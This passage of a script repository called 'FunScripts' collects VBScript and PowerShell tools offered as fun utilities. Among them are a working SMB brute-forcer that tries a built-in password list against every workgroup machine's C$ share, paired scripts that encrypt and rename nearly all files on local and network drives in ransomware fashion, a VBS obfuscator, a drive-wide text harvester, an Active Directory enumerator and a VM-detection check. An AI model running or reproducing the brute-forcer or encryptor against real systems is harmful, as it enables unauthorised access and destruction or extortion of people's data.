18 | 'If Drive.IsReady = True And (Drive.DriveType = 2 Or Drive.DriveType = 3) Then
19 | For Each RootFile In FSO.GetFolder(Drive).Files
20 | Select Case LCase(FSO.GetExtensionName(RootFile.Name))
21 | Case "msg", "oft", "sht", "dbx", "tbb", "adb", "doc", "wab", "asp", "aspx", "uin", "rtf", "vbs", "html", "htm", "pl", "php", "txt", "eml", "csv", "hta"
22 | ScanRoutine(RootFile.Path)
23 | End Select
24 | Next
25 | Recurse(Drive)
26 | End If
27 | Next
28 | Dim x
29 | x = Dict.RemoveAll
30 | WriteFile.Close
31 | '------------------------------------------------------------------------------------
32 | Sub Recurse(SomeFolder)
33 | For Each FolderSet In FSO.GetFolder(SomeFolder).SubFolders
34 | For Each FileSet In FSO.GetFolder(FolderSet).Files
35 | Select Case LCase(FSO.GetExtensionName(FileSet.Name))
36 | Case "msg", "oft", "sht", "dbx", "tbb", "adb", "doc", "wab", "asp", "aspx", "uin", "rtf", "vbs", "html", "htm", "pl", "php", "txt", "eml", "csv", "hta"
37 | WriteFile.WriteLine Now & " " & FileSet.Path
38 | ScanRoutine(FileSet.Path)
39 | End Select
40 | Next
41 | Recurse(FolderSet)
42 | Next
43 | End Sub
44 | '------------------------------------------------------------------------------------
45 | Sub ScanRoutine(HostFile)
46 | Set objTextFile = FSO.OpenTextFile(HostFile, 1)
47 | strText = objTextFile.ReadAll
48 | objTextFile.Close
49 | Dim oMTS : Set oMTS = objRE.Execute(strText)
50 | Dim oMT
51 | For Each oMT In oMTS
52 | If Dict.Exists(LCase(oMT.Value)) = False Then
53 | Dict.Add LCase(oMT.Value), ""
54 | End If
55 | Next
56 | End Sub
57 | '------------------------------------------------------------------------------------
--------------------------------------------------------------------------------
/FunScripts/YellowPagesScraper.vbs:
--------------------------------------------------------------------------------
1 | 'This script scrapes the yellow pages for businesses and phone numbers of a specified category.
2 | 'Just change the FilePath variable to change the output location of the text file.
3 | 'Also change the website query string to change categories, may need editing if they have updated their website.
4 | On Error Resume Next
5 | Dim arrName(), arrPhone()
6 | ReDim arrName(0), arrPhone(0)
7 | Dim fullList, objHttp, output, oMTS, oMT, i
8 | Set objRE = New RegExp
9 | Dim FilePath
10 | FilePath = "C:\FilePath\output.txt"
11 | Set FSO = CreateObject ("Scripting.FileSystemObject")
12 | Set WriteFile = FSO.OpenTextFile(FilePath, 8, 1)
13 | Set objHttp = CreateObject("Microsoft.XMLHTTP")
14 | '-----------------------------------------------------------------------------------|
15 | ScanWebsite "http://411.ca/search/?q=computer&st=business"
16 | ScrapeRoutine ":","')")
35 | WriteFile.WriteLine fullList
36 | End Sub
37 | '-----------------------------------------------------------------------------------|
38 | Sub ScrapeRoutine(regEx,dataType)
39 | i = 0
40 | objRE.Pattern = regEx
41 | objRE.Global = True
42 | objRE.IgnoreCase = True
43 | Set oMTS = objRE.Execute(output)
44 | For Each oMT In oMTS
45 | If dataType = "Name" Then
46 | ReDim Preserve arrName(i)
47 | arrName(i) = oMT.Value
48 | i = i + 1
49 | ElseIf dataType = "Phone" Then
50 | ReDim Preserve arrPhone(i)
51 | arrPhone(i) = oMT.Value
52 | i = i + 1
53 | End If
54 | Next
55 | End Sub
56 | '-----------------------------------------------------------------------------------|
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/FunScripts/NetworkDriveBruteForcer.vbs:
--------------------------------------------------------------------------------
1 | 'This script brute forces connections to other computers in a workgroup
2 | On Error Resume Next
3 | Dim U(123)
4 | Dim D(4)
5 | Dim ntwk
6 | Dim q
7 | q = 0
8 | Set ntwk = WScript.CreateObject("WScript.Network")
9 |
10 | U(0) = "administrator": U(1) = "admin": U(2) = "manager": U(3) = "system": U(4) = "service": U(5) = "guest": U(6) = "field": U(7) = "user": U(8) = "who": U(9) = "visitor": U(10) = "anonymous": U(11) = "public": U(12) = "private": U(13) = "default": U(14) = "test": U(15) = "super": U(16) = "security": U(17) = "server": U(18) = "computer": U(19) = "secret": U(20) = "name": U(21) = "root": U(22) = "internet": U(23) = "pass": U(24) = "password": U(25) = "monkey": U(26) = "michael": U(27) = "12345678": U(28) = "superman": U(29) = "qwerty": U(30) = "dragon": U(31) = "abc123": U(32) = "1234567": U(33) = "12345": U(34) = "shadow": U(35) = "jordan": U(36) = "princess": U(37) = "iloveyou": U(38) = "football": U(39) = "111111": U(40) = "welcome": U(41) = "master": U(42) = "letmein": U(43) = "jennifer": U(44) = "baseball": U(45) = "654321": U(46) = "whatever": U(47) = "sunshine": U(48) = "michelle": U(49) = "joshua": U(50) = "ginger": U(51) = "daniel": U(52) = "ashley": U(53) = "anthony": U(54) = "123456789": U(55) = "123123": U(56) = "0": U(57) = "yellow": U(58) = "william": U(59) = "trustno1": U(60) = "tigger": U(61) = "thomas": U(62) = "taylor": U(63) = "soccer": U(64) = "samantha": U(65) = "purple": U(66) = "superuser": U(67) = "pepper": U(68) = "orange": U(69) = "nicole": U(70) = "mustang": U(71) = "money": U(72) = "mickey": U(73) = "matthew": U(74) = "justin": U(75) = "jasmine": U(76) = "harley": U(77) = "freedom": U(78) = "cookie": U(79) = "charlie": U(80) = "buster": U(81) = "brandon": U(82) = "batman": U(83) = "bailey": U(84) = "babygirl": U(85) = "austin": U(86) = "angels": U(87) = "andrew": U(88) = "1234": U(89) = "sql": U(90) = "database": U(91) = "oracle": U(92) = "thunder": U(93) = "summer": U(94) = "success": U(95) = "rockyou": U(96) = "robert": U(97) = "ranger": U(98) = "pl.": U(99) = "ninja": U(100) = "mss.": U(101) = "merlin": U(102) = "maggie": U(103) = "madison": U(104) = "lovely": U(105) = "love": U(106) = "junior": U(107) = "joseph": U(108) = "jessica": U(109) = "hunter": U(110) = "hello": U(111) = "hannah": U(112) = "hammer": U(113) = "flower": U(114) = "family": U(115) = "dick": U(116) = "dallas": U(117) = "crystal": U(118) = "cheese": U(119) = "butterfly": U(120) = "amanda": U(121) = "696969": U(122) = "666666"
11 |
12 | D(0) = "Z:": D(1) = "Y:": D(2) = "X:": D(3) = "W:"
13 |
14 | Set objDomain = GetObject("WinNT://WORKGROUP")
15 | For each objDomainItem in objDomain
16 | If objDomainItem.Class = "Computer" then
17 | For i = 0 to 122 'username
18 | For r = 0 to 122 'pass
19 | ntwk.MapNetworkDrive D(q),"\\" & objDomainItem.Name & "\c$",False,U(i),U(r)
20 | If Err Then
21 | Err.Clear()
22 | Else
23 | MsgBox(D(q) & " " & objDomainItem.Name & " " & U(i) & " " & U(r))
24 | q = q + 1
25 | End If
26 | Next
27 | Next
28 | End if
29 | Next
--------------------------------------------------------------------------------
/FunScripts/Certkrypt.De.ps1:
--------------------------------------------------------------------------------
1 | #This is a PowerShell script that traverses your computers drives and decrypts files.
2 | #It decrypts a randomly generated key at the start of each file with a private key certificate.
3 | #This means the symmetric keys will be different for every file.
4 | #The key appended to the start of each file is used to perform the symmetric decryption and decrypt the rest of the file with Rijndael Managed.
5 | #The private key certificate is used to decrypt the encrypted key at the start of each file, then that decrypted key is used to decrypt the rest of the file.
6 | #This is asymmetric decryption blended with symmetric decryption.
7 | #This is the decryption algorithm, the encryption algorithm will be in another file.
8 | #Warning: Be careful using this script, it could lead to data loss and more.
9 | [Reflection.Assembly]::LoadWithPartialName("System.Security")
10 |
11 | #Decryption routine:
12 | function Decrypt($path)
13 | {
14 | $item = [System.IO.File]::ReadAllBytes($path)
15 | $enckey = @(0) * (256)
16 | $encdata = @(0) * ($item.Length - 256)
17 | [array]::Copy($item, 0, $enckey, 0, 256)
18 | [array]::Copy($item, 256, $encdata, 0, $item.Length - 256)
19 | $init = "init"
20 | $r = new-Object System.Security.Cryptography.RijndaelManaged
21 | $r.Key = $cert.PrivateKey.Decrypt($enckey, $true)
22 | $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes($init))[0..15]
23 | $r.padding = "PKCS7"
24 | $r.mode = "CBC"
25 | $c = $r.createdecryptor()
26 | $ms = new-Object IO.MemoryStream
27 | $cs = new-Object Security.Cryptography.CryptoStream $ms, $c, "Write"
28 | $cs.write($encdata, 0, $encdata.length)
29 | $cs.close()
30 | $ms.close()
31 | $r.clear()
32 | [System.IO.File]::WriteAllBytes($path, $ms.toarray())
33 | }
34 | #Start of PowerShell script.
35 | cls
36 | cd c:\
37 | write-host "Working . . ."
38 | #Uses a certificate from the microsoft certificate store, replace the zeros with the private key certificate identifier.
39 | $cert = get-item -path cert:\currentuser\my\0000000000000000000000000000000000000000 -ea stop
40 | $ErrorActionPreference = "SilentlyContinue"
41 | $user = [environment]::machinename+"\"+[environment]::username
42 |
43 | foreach ($n in get-wmiobject win32_logicaldisk -filter "drivetype='3' or drivetype='4'" | select-object -expandproperty name)
44 | {
45 | #Only decrypt *.encrypted files.
46 | foreach ($i in get-childitem $n -r -i @("*.encrypted") | select-object -expandproperty fullname)
47 | {
48 | #Only decrypts files less than 180 mb, can change depending on your available resources.
49 | if (((Get-Item $i).length -lt 180mb) -eq "True")
50 | {
51 | try {
52 | $acl = Get-Acl $i -ea "Stop"
53 | #Determines if the file can be overwritten.
54 | ForEach ($z in $acl.access | ForEach-Object {($_.identityreference -eq $user) -and ($_.FileSystemRights -eq "FullControl")})
55 | {
56 | if ($z -eq "True")
57 | {
58 | write-host $i
59 | #Do the decryption and rename.
60 | Decrypt $i
61 | [gc]::Collect()
62 | $name = [System.IO.Path]::GetFileName($i)
63 | $name = $name -replace ".encrypted", ""
64 | rename-item $i $name
65 | }
66 | }
67 | } catch {
68 | #Error handling if necessary.
69 | #write-host $i
70 | }
71 | }
72 | }
73 | }
74 | #Print errors if this line is enabled.
75 | #$error | Out-File "C:\FilePath\errors.txt"
76 | write-host "Done."
77 | start-sleep 120
--------------------------------------------------------------------------------
/FunScripts/FunScripts.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {EE043BDF-7C14-4F21-944B-4732A3D1A2B7}
8 | Exe
9 | FunScripts
10 | FunScripts
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
--------------------------------------------------------------------------------
/FunScripts/Certkrypt.En.ps1:
--------------------------------------------------------------------------------
1 | #This is a PowerShell script that traverses your computers drives and encrypts files.
2 | #It uses a randomly generated key which is encrypted with the public key certificate and added to the start of each file.
3 | #This means the symmetric keys will be different for every file.
4 | #The key appended to the start of each file is used to perform the symmetric encryption and encrypt the rest of the file with Rijndael Managed.
5 | #The private key certificate is later used to decrypt the encrypted key at the start of each file, then that decrypted key is used to decrypt the rest of the file.
6 | #This is asymmetric encryption blended with symmetric encryption.
7 | #This is the encryption algorithm, the decryption algorithm will be in another file.
8 | #Warning: Be careful using this script, it could lead to data loss and more.
9 | [Reflection.Assembly]::LoadWithPartialName("System.Security")
10 |
11 | #Encryption routine:
12 | function Encrypt($path)
13 | {
14 | $item = [System.IO.File]::ReadAllBytes($path)
15 | $init = "init"
16 |
17 | $key = New-Object byte[](32)
18 | $rng = [System.Security.Cryptography.RNGCryptoServiceProvider]::Create()
19 | $rng.GetBytes($key)
20 |
21 | $r = new-Object System.Security.Cryptography.RijndaelManaged
22 | $r.Key = $key
23 | $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes($init))[0..15]
24 | $r.padding = "PKCS7"
25 | $r.mode = "CBC"
26 | $c = $r.createencryptor()
27 | $ms = new-Object IO.MemoryStream
28 | $cs = new-Object Security.Cryptography.CryptoStream $ms, $c, "Write"
29 | $cs.write($item, 0, $item.length)
30 | $cs.close()
31 | $ms.close()
32 | $r.clear()
33 | $fileKey = $cert.PublicKey.Key.Encrypt($key, $true)
34 | if ($null -ne $key) { [array]::Clear($key, 0, $key.Length) }
35 | [System.IO.File]::WriteAllBytes($path, $fileKey+$ms.toarray())
36 | }
37 | #Start of PowerShell script.
38 | cls
39 | cd c:\
40 | write-host "Working . . ."
41 | #Uses a certificate from the microsoft certificate store, replace the zeros with the public key certificate identifier.
42 | $cert = get-item -path cert:\currentuser\my\0000000000000000000000000000000000000000 -ea stop
43 | $ErrorActionPreference = "SilentlyContinue"
44 | $user = [environment]::machinename+"\"+[environment]::username
45 |
46 | foreach ($n in get-wmiobject win32_logicaldisk -filter "drivetype='3' or drivetype='4'" | select-object -expandproperty name)
47 | {
48 | #Does not encrypt executable files in this list, includes all other files.
49 | foreach ($i in get-childitem $n -r -i @("*.*") -exclude @("*.exe","*.dll","*.cpl","*.ocx","*.sys","*.scr","*.drv","*.efi","*.fon","*.encrypted","*.lnk","*.pif","*.msi","*.com","*.cmd","*.bin","*.bat","*.job","*.reg","*.inf","*.ins","*.msc") | select-object -expandproperty fullname)
50 | {
51 | #Only encrypts files less than 180 mb, can change depending on your available resources.
52 | if (((Get-Item $i).length -lt 180mb) -eq "True")
53 | {
54 | try {
55 | $acl = Get-Acl $i -ea "Stop"
56 | #Determines if the file can be overwritten.
57 | ForEach ($z in $acl.access | ForEach-Object {($_.identityreference -eq $user) -and ($_.FileSystemRights -eq "FullControl")})
58 | {
59 | if ($z -eq "True")
60 | {
61 | write-host $i
62 | #Do the encryption and rename.
63 | Encrypt $i
64 | [gc]::Collect()
65 | $name = [System.IO.Path]::GetFileName($i)
66 | rename-item $i $name".encrypted"
67 | }
68 | }
69 | } catch {
70 | #Error handling if necessary.
71 | #write-host $i
72 | }
73 | }
74 | }
75 | }
76 | #Print errors if this line is enabled.
77 | #$error | Out-File "C:\FilePath\errors.txt"
78 | write-host "Done."
79 | start-sleep 120
--------------------------------------------------------------------------------
/FunScripts/VBSObfuscator.vbs:
--------------------------------------------------------------------------------
1 | 'This script obfuscates VBS scripts to protect intellectual property or prevent editing by unsophisticated users.
2 | 'In software development, obfuscation is the act of creating source or machine code that is difficult for humans or computers to understand.
3 | 'Keep in mind obfuscation is not secure and does not provide security like encryption algorithms do.
4 | 'When run provide it a path to a VBS script to obfuscate.
5 | Randomize()
6 | Set FSO = CreateObject("Scripting.FileSystemObject")
7 | SourceFileName = Inputbox("Enter path of the VBS file to scramble: ")
8 | Set Source = FSO.OpenTextfile(SourceFileName, 1)
9 | Body = Source.ReadAll
10 | Source.Close
11 | Set Output = FSO.CreateTextFile("Output.vbs", True)
12 | Output.WriteLine "Execute(" & Obfuscate(Body) & ")"
13 | Output.Close
14 |
15 | Function Obfuscate(txt)
16 | Dim Switch, enc, i
17 | enc = ""
18 | For i = 1 To Len(txt)
19 | Switch = Int(2 * Rnd()) + 1
20 | Select Case Switch
21 | Case 1
22 | enc = enc & "Chr(" & IntegerBreak(Asc(Mid(txt, i, 1))) & ")&"
23 | Case 2
24 | enc = enc & "Chr((" & IntegerBreak(Asc(Mid(txt, i, 1))) & "))&"
25 | End Select
26 | Next
27 | Obfuscate = enc & "vbcrlf"
28 | End Function
29 |
30 | Public Function IntegerBreak(PickedInteger)
31 | Randomize()
32 | Dim Switch, Entropy, Result, Counter
33 | If PickedInteger < 50 Then
34 | Switch = Int(9 * Rnd()) + 1
35 | Else
36 | Switch = Int(8 * Rnd()) + 1
37 | End If
38 | 'ration entropy
39 | If Switch = 3 Then 'multiplication
40 | Counter = 100
41 | For i = 0 To 100
42 | If PickedInteger Mod Counter = 0 And PickedInteger <> Counter Then
43 | Entropy = Counter
44 | Exit For
45 | End If
46 | Counter = Counter - 1
47 | Next
48 | ElseIf Switch = 7 Then 'exponents
49 | Entropy = Int(3 * Rnd()) + 1
50 | Else
51 | Entropy = Int(100 * Rnd()) + 1
52 | End If
53 | 'pick an equation
54 | Select Case Switch
55 | Case 1
56 | 'addition
57 | Result = PickedInteger - Entropy
58 | IntegerBreak = "&H" & Hex(Result) & "+&H" & Hex(Entropy)
59 | Case 2
60 | 'subtraction
61 | Result = PickedInteger + Entropy
62 | IntegerBreak = "&H" & Hex(Result) & "-&H" & Hex(Entropy)
63 | Case 3
64 | 'multiplication
65 | Result = PickedInteger / Entropy
66 | IntegerBreak = "&H" & Hex(Result) & "*&H" & Hex(Entropy)
67 | Case 4
68 | 'division
69 | Result = PickedInteger * Entropy
70 | IntegerBreak = "&H" & Hex(Result) & "/&H" & Hex(Entropy)
71 | Case 5
72 | 'squares
73 | Result = PickedInteger ^ 2
74 | IntegerBreak = "Sqr(&H" & Hex(Result) & ")"
75 | Case 6
76 | 'xor
77 | Result = PickedInteger Xor Entropy
78 | IntegerBreak = "(&H" & Hex(Result) & ")Xor(&H" & Hex(Entropy) & ")"
79 | Case 7
80 | 'exponents
81 | Result = PickedInteger ^ Entropy
82 | IntegerBreak = Result & "^(&H1/&H" & Hex(Entropy) & ")"
83 | Case 8
84 | 'hex
85 | IntegerBreak = "&H" & Hex(PickedInteger)
86 | Case 9
87 | 'modulus
88 | Result = PickedInteger + Entropy
89 | Counter = 100
90 | Do While Result Mod Entropy <> PickedInteger
91 | Entropy = Int(100 * Rnd()) + 1
92 | Result = PickedInteger + Entropy
93 | Counter = Counter - 1
94 | Loop
95 | IntegerBreak = "(" & "&H" & Hex(Result) & ")Mod(" & "&H" & Hex(Entropy) & ")"
96 | End Select
97 | End Function
--------------------------------------------------------------------------------
/FunScripts/ADEnumerator.ps1:
--------------------------------------------------------------------------------
1 | # ADEnumerator.ps1
2 | # Active Directory Account Enumeration Script
3 | # Requires ActiveDirectory PowerShell module
4 |
5 | # Check if AD module is installed
6 | if (-not (Get-Module -ListAvailable -Name ActiveDirectory)) {
7 | Write-Host "ActiveDirectory module is not installed. Please install RSAT tools or run this on a domain controller." -ForegroundColor Red
8 | exit
9 | }
10 |
11 | # Import the Active Directory module
12 | Import-Module ActiveDirectory
13 |
14 | function Get-ADAccountSummary {
15 | [CmdletBinding()]
16 | param()
17 |
18 | Write-Host "`n=== Active Directory Account Summary ===" -ForegroundColor Cyan
19 |
20 | # Get all users
21 | $allUsers = Get-ADUser -Filter *
22 | $enabledUsers = $allUsers | Where-Object {$_.Enabled -eq $true}
23 | $disabledUsers = $allUsers | Where-Object {$_.Enabled -eq $false}
24 |
25 | # Get all groups
26 | $allGroups = Get-ADGroup -Filter *
27 |
28 | Write-Host "`nTotal Users: $($allUsers.Count)"
29 | Write-Host "Enabled Users: $($enabledUsers.Count)"
30 | Write-Host "Disabled Users: $($disabledUsers.Count)"
31 | Write-Host "Total Groups: $($allGroups.Count)"
32 | }
33 |
34 | function Get-ADPrivilegedAccounts {
35 | [CmdletBinding()]
36 | param()
37 |
38 | Write-Host "`n=== Privileged Account Analysis ===" -ForegroundColor Cyan
39 |
40 | # Check Domain Admins
41 | $domainAdmins = Get-ADGroupMember "Domain Admins" -Recursive | Get-ADUser -Properties LastLogonDate, Enabled
42 | Write-Host "`nDomain Admins:" -ForegroundColor Yellow
43 | $domainAdmins | Format-Table Name, Enabled, LastLogonDate -AutoSize
44 |
45 | # Check Enterprise Admins
46 | try {
47 | $enterpriseAdmins = Get-ADGroupMember "Enterprise Admins" -Recursive | Get-ADUser -Properties LastLogonDate, Enabled
48 | Write-Host "`nEnterprise Admins:" -ForegroundColor Yellow
49 | $enterpriseAdmins | Format-Table Name, Enabled, LastLogonDate -AutoSize
50 | } catch {
51 | Write-Host "Enterprise Admins group not accessible in this context." -ForegroundColor Yellow
52 | }
53 | }
54 |
55 | function Get-ADInactiveAccounts {
56 | [CmdletBinding()]
57 | param(
58 | [int]$DaysInactive = 90
59 | )
60 |
61 | Write-Host "`n=== Inactive Account Analysis ===" -ForegroundColor Cyan
62 | $date = (Get-Date).AddDays(-$DaysInactive)
63 |
64 | $inactiveUsers = Get-ADUser -Filter {LastLogonDate -lt $date -and Enabled -eq $true} -Properties LastLogonDate |
65 | Select-Object Name, SamAccountName, LastLogonDate
66 |
67 | Write-Host "`nInactive accounts (not logged in for $DaysInactive days):" -ForegroundColor Yellow
68 | $inactiveUsers | Format-Table -AutoSize
69 | }
70 |
71 | function Get-ADPasswordPolicy {
72 | [CmdletBinding()]
73 | param()
74 |
75 | Write-Host "`n=== Password Policy Analysis ===" -ForegroundColor Cyan
76 |
77 | $policy = Get-ADDefaultDomainPasswordPolicy
78 | $policy | Format-List ComplexityEnabled, MinPasswordLength, PasswordHistoryCount, MaxPasswordAge, MinPasswordAge, LockoutThreshold, LockoutDuration
79 | }
80 |
81 | function Get-ADRecentlyCreatedAccounts {
82 | [CmdletBinding()]
83 | param(
84 | [int]$DaysBack = 30
85 | )
86 |
87 | Write-Host "`n=== Recently Created Accounts ===" -ForegroundColor Cyan
88 | $date = (Get-Date).AddDays(-$DaysBack)
89 |
90 | $newAccounts = Get-ADUser -Filter {Created -gt $date} -Properties Created |
91 | Select-Object Name, SamAccountName, Created
92 |
93 | Write-Host "`nAccounts created in the last $DaysBack days:" -ForegroundColor Yellow
94 | $newAccounts | Format-Table -AutoSize
95 | }
96 |
97 | # Main menu function
98 | function Show-Menu {
99 | Clear-Host
100 | Write-Host "=== Active Directory Account Enumeration Tool ===" -ForegroundColor Cyan
101 | Write-Host "1. Get Account Summary"
102 | Write-Host "2. List Privileged Accounts"
103 | Write-Host "3. Find Inactive Accounts"
104 | Write-Host "4. Show Password Policy"
105 | Write-Host "5. Show Recently Created Accounts"
106 | Write-Host "6. Run All Reports"
107 | Write-Host "Q. Quit"
108 | Write-Host
109 | }
110 |
111 | # Main script loop
112 | do {
113 | Show-Menu
114 | $selection = Read-Host "Please make a selection"
115 |
116 | switch ($selection) {
117 | '1' { Get-ADAccountSummary; pause }
118 | '2' { Get-ADPrivilegedAccounts; pause }
119 | '3' {
120 | $days = Read-Host "Enter number of days for inactivity threshold (default: 90)"
121 | if ([string]::IsNullOrWhiteSpace($days)) { $days = 90 }
122 | Get-ADInactiveAccounts -DaysInactive $days
123 | pause
124 | }
125 | '4' { Get-ADPasswordPolicy; pause }
126 | '5' {
127 | $days = Read-Host "Enter number of days to look back (default: 30)"
128 | if ([string]::IsNullOrWhiteSpace($days)) { $days = 30 }
129 | Get-ADRecentlyCreatedAccounts -DaysBack $days
130 | pause
131 | }
132 | '6' {
133 | Get-ADAccountSummary
134 | Get-ADPrivilegedAccounts
135 | Get-ADInactiveAccounts
136 | Get-ADPasswordPolicy
137 | Get-ADRecentlyCreatedAccounts
138 | pause
139 | }
140 | 'Q' { return }
141 | 'q' { return }
142 | }
143 | } while ($true)
--------------------------------------------------------------------------------
/FunScripts/DetectVM.ps1:
--------------------------------------------------------------------------------
1 | # Function to check if system is running in a virtual machine
2 | function Test-IsVirtualMachine {
3 | [CmdletBinding()]
4 | param()
5 |
6 | $IsVirtual = $false
7 | $VirtualIndicators = @{
8 | Manufacturer = $false
9 | Model = $false
10 | BIOS = $false
11 | Services = $false
12 | Processes = $false
13 | VMwareTools = $false
14 | HyperVServices = $false
15 | VBoxServices = $false
16 | }
17 |
18 | Write-Host "Checking for VM indicators..." -ForegroundColor Cyan
19 |
20 | # Check System Manufacturer and Model
21 | $SystemInfo = Get-WmiObject -Class Win32_ComputerSystem
22 | $Manufacturer = $SystemInfo.Manufacturer
23 | $Model = $SystemInfo.Model
24 |
25 | Write-Host "`nManufacturer: $Manufacturer"
26 | Write-Host "Model: $Model"
27 |
28 | # Check common VM manufacturer names
29 | $VMManufacturers = @('VMware', 'Microsoft Corporation', 'innotek GmbH', 'QEMU', 'Xen', 'Oracle')
30 | foreach ($VMManufacturer in $VMManufacturers) {
31 | if ($Manufacturer -match $VMManufacturer) {
32 | $VirtualIndicators.Manufacturer = $true
33 | break
34 | }
35 | }
36 |
37 | # Check common VM model names
38 | $VMModels = @('Virtual Machine', 'VMware', 'VirtualBox', 'KVM', 'Xen')
39 | foreach ($VMModel in $VMModels) {
40 | if ($Model -match $VMModel) {
41 | $VirtualIndicators.Model = $true
42 | break
43 | }
44 | }
45 |
46 | # Check BIOS information
47 | $BIOS = Get-WmiObject -Class Win32_BIOS
48 | Write-Host "`nBIOS Manufacturer: $($BIOS.Manufacturer)"
49 | Write-Host "BIOS Version: $($BIOS.Version)"
50 | Write-Host "BIOS Serial Number: $($BIOS.SerialNumber)"
51 |
52 | # Check for VM BIOS manufacturers
53 | $VMBiosManufacturers = @('VMware', 'Phoenix', 'American Megatrends', 'Xen', 'innotek GmbH')
54 | foreach ($VMBiosManufacturer in $VMBiosManufacturers) {
55 | if ($BIOS.Manufacturer -match $VMBiosManufacturer) {
56 | $VirtualIndicators.BIOS = $true
57 | break
58 | }
59 | }
60 |
61 | # Check for VM-specific services
62 | $VMServices = @(
63 | 'vmtools',
64 | 'vboxservice',
65 | 'vmhgfs',
66 | 'vmvss',
67 | 'vmmouse',
68 | 'VMwareTools',
69 | 'xenevtchn',
70 | 'xennet',
71 | 'xenservice',
72 | 'vmicheartbeat',
73 | 'vmicvss',
74 | 'vmicshutdown',
75 | 'vmicexchange'
76 | )
77 |
78 | $RunningServices = Get-Service | Where-Object { $_.Status -eq 'Running' }
79 | Write-Host "`nChecking VM-specific services..."
80 | foreach ($Service in $RunningServices) {
81 | if ($VMServices -contains $Service.Name) {
82 | Write-Host "Found VM service: $($Service.Name)" -ForegroundColor Yellow
83 | $VirtualIndicators.Services = $true
84 | }
85 | }
86 |
87 | # Check for VM-specific processes
88 | $VMProcesses = @(
89 | 'vmtoolsd.exe',
90 | 'vboxservice.exe',
91 | 'vboxtray.exe',
92 | 'vmwareuser.exe',
93 | 'vmwaretray.exe'
94 | )
95 |
96 | $RunningProcesses = Get-Process
97 | Write-Host "`nChecking VM-specific processes..."
98 | foreach ($Process in $RunningProcesses) {
99 | if ($VMProcesses -contains $Process.Name) {
100 | Write-Host "Found VM process: $($Process.Name)" -ForegroundColor Yellow
101 | $VirtualIndicators.Processes = $true
102 | }
103 | }
104 |
105 | # Check for VMware Tools specific registry keys
106 | $VMwareToolsKey = "HKLM:\SOFTWARE\VMware, Inc.\VMware Tools"
107 | if (Test-Path $VMwareToolsKey) {
108 | Write-Host "`nVMware Tools registry key found" -ForegroundColor Yellow
109 | $VirtualIndicators.VMwareTools = $true
110 | }
111 |
112 | # Check for Hyper-V specific registry keys
113 | $HyperVKey = "HKLM:\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
114 | if (Test-Path $HyperVKey) {
115 | Write-Host "`nHyper-V guest registry key found" -ForegroundColor Yellow
116 | $VirtualIndicators.HyperVServices = $true
117 | }
118 |
119 | # Check for VirtualBox specific registry keys
120 | $VBoxKey = "HKLM:\SOFTWARE\Oracle\VirtualBox Guest Additions"
121 | if (Test-Path $VBoxKey) {
122 | Write-Host "`nVirtualBox Guest Additions registry key found" -ForegroundColor Yellow
123 | $VirtualIndicators.VBoxServices = $true
124 | }
125 |
126 | # Calculate if this is likely a VM based on indicators
127 | $TrueIndicators = ($VirtualIndicators.Values | Where-Object { $_ -eq $true }).Count
128 | $IsVirtual = $TrueIndicators -gt 0
129 |
130 | # Display summary
131 | Write-Host "`n=== Detection Summary ===" -ForegroundColor Cyan
132 | $VirtualIndicators.GetEnumerator() | ForEach-Object {
133 | $Color = if ($_.Value) { 'Yellow' } else { 'Green' }
134 | Write-Host "$($_.Key): $($_.Value)" -ForegroundColor $Color
135 | }
136 |
137 | Write-Host "`nFinal Assessment:" -ForegroundColor Cyan
138 | if ($IsVirtual) {
139 | Write-Host "This system appears to be a Virtual Machine" -ForegroundColor Yellow
